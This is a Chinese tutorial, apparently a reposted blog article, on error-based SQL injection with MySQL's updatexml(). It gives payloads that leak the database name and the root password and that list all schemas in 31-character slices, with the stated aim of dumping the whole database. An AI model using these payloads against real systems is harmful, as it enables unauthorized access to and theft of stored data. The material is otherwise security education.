SQL注入之错误注入_基于updatexml()
【摘要】
updatexml() 常用来修改xml文件的内容
updatexml(参数1 , 参数2 , 参数3);
参数1: 文件名 , 比如 a.xml参数2: 路径 , 比如 contry->city1 ( 不允许特殊字符 )参数3: 数值 , 比如 tianjing
如果路径中存在特殊符号 比如'~',就会报错 , ...
updatexml() 常用来修改xml文件的内容
updatexml(参数1 , 参数2 , 参数3);
- 参数1: 文件名 , 比如 a.xml
- 参数2: 路径 , 比如 contry->city1 ( 不允许特殊字符 )
- 参数3: 数值 , 比如 tianjing
如果路径中存在特殊符号 比如'~',就会报错 , 同时后显示路径参数的内容
路径参数的内容总会在错误提示中展示出来
如果路径参数中包含函数 , 那么函数将会被执行 , 并将执行结果展示在报错内容中
select updatexml(1,concat('~',database()),3);
比如,查询当前使用的数据库
此处的concat() , 可以将执行结果拼接一个'~'字符串 , 目的在于触发错误
如果路径参数中包含SQL语句 , 同样会被执行 , 并将执行结果展示在报错内容中
-
select updatexml(1,concat('~',
-
(select password from user where username='root')
-
),3);
基于此 , 可将SQL语句替换为其他语句 , 如获取所有数据库
-
select updatexml(1,
-
concat('~',(
-
select group_concat(schema_name)
-
from information_schema.schemata
-
)),3);
由于updatexml()返回的字符串长度最多为31个字符串 , 我们可以多次截取返回的字符串的不同位置,从而获取所有的数据库
-
select updatexml(1,concat('~',
-
substr(
-
(select group_concat(schema_name)
-
from information_schema.schemata)
-
,1,31)
-
),3);
从第1个字符开始 , 截取31个
从第32个字符开始 , 截取31个
-
select updatexml(1,concat('~',
-
substr(
-
(select group_concat(schema_name)
-
from information_schema.schemata)
-
,32,31)
-
),3);
至此 , 已经获取了所有的数据库 , 通过此方法以此获取所有表 , 所有字段 , 实现脱库
文章来源: blog.csdn.net,作者:士别三日wyx,版权归原作者所有,如需转载,请联系作者。
原文链接:blog.csdn.net/wangyuxiang946/article/details/118084345
【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)